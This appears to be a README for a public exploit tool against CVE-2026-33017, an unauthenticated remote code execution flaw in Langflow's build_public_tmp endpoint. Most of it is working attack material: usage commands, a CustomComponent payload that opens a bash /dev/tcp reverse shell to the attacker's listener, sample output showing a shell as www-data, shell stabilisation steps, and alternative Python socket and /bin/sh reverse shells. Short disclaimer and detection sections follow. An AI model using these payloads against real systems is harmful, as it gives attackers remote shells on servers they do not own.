CVE-2026-33017 - Langflow Unauthenticated RCE Exploit

📋 Overview

CVE-2026-33017 is an unauthenticated Remote Code Execution (RCE) vulnerability in Langflow versions <= 1.8.2. The vulnerability exists in the /api/v1/build_public_tmp/{flow_id}/flow endpoint, which lacks proper authentication and allows attackers to execute arbitrary Python code during the graph compilation process.

⚠️ Disclaimer

This exploit is for educational and authorized testing purposes only. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission to test.

🎯 Affected Versions

Version	Status
<= 1.8.2	Vulnerable
1.9.0	Patched

🔍 Vulnerability Details

Root Cause

The vulnerability stems from the prepare_global_scope() function in validate.py, which calls exec() on the code of each CustomComponent node without proper sandboxing. When a component is loaded/compiled, any Python code at the module level (outside class definitions) is executed immediately.

Vulnerable Endpoint

POST /api/v1/build_public_tmp/{flow_id}/flow

Characteristics:

• ❌ No authentication required
• ❌ No API key needed
• ❌ No authorization header
• ✅ Attacker-controlled data passed directly to graph builder

Code Execution Chain

Attacker POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← ARBITRARY CODE EXECUTION

🛠️ Exploitation

Prerequisites

1. A public flow ID (UUID) from a Langflow instance
2. Target URL (Langflow instance)
3. Listener IP and port for reverse shell

Installation

git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

Requirements

requests>=2.28.0
urllib3>=1.26.0

Usage

Basic Syntax

python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

Examples

1. Reverse Shell

# Start listener
nc -lvnp 4444

# Run exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. Using Short Options

python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. Local Testing

python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. Custom Timeout

python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

Command-Line Arguments

Argument	Short	Required	Description
--url	-u	Yes	Target URL (e.g., https://target.langflow.com)
--flow-id	-f	Yes	Flow ID (UUID) of the public flow
--lhost	-lh	Yes	Listener IP address for reverse shell
--lport	-lp	Yes	Listener port for reverse shell
--timeout	-t	No	HTTP timeout in seconds (default: 15)

🔧 How It Works

1. Payload Structure

The exploit sends a malicious CustomComponent node that executes code at module level:

import os

# This executes immediately during component loading
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. Execution Flow

1. Attacker sends POST request to /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow receives the malicious CustomComponent
3. prepare_global_scope() calls exec() on the component code
4. Module-level code executes immediately
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Reverse shell connects back to attacker's listener
6. Graph compilation continues (but it's too late)

3. Why It Works

• Module-level execution: Code outside class definitions runs during exec()
• No sandboxing: exec() is called without restrictions
• No authentication: Endpoint is publicly accessible
• Attacker-controlled data: The data parameter is directly embedded

📊 Proof of Concept

Successful Exploit Output

$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Make sure your listener is running:
    nc -lvnp 4444

[+] Target URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Sending exploit payload...
[+] Status Code: 200
[+] Exploit sent successfully!
[+] Job ID: abc123-def456-789ghi

[*] Check your listener for the reverse shell!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 Advanced Usage

Stabilize the Shell

Once you have a reverse shell:

# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Or use script
script /dev/null -c bash

# Background with Ctrl+Z
# Then run:
stty raw -echo
fg
reset
export TERM=xterm

Execute Custom Commands

Modify the script to execute arbitrary commands instead of a reverse shell:

# In build_payload() function:
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

Alternative Payloads

1. Python Socket Reverse Shell

import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. /bin/sh Reverse Shell (if bash is not available)

import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ Detection & Prevention

Detection Indicators

• POST requests to /api/v1/build_public_tmp/*/flow without authentication
• Suspicious CustomComponent code containing os.system() or subprocess
• Unexpected /tmp/rce-proof or /tmp/executed files
• Outbound connections from Langflow containers

Prevention Measures

1. Apply the patch: Update to Langflow 1.9.0 or later
2. Implement authentication: Add proper authentication to /build_public_tmp endpoint
3. Input validation: Sanitize code input for CustomComponent
4. Sandboxing: Implement proper sandboxing for exec() calls
5. Network segmentation: Isolate Langflow instances

📚 References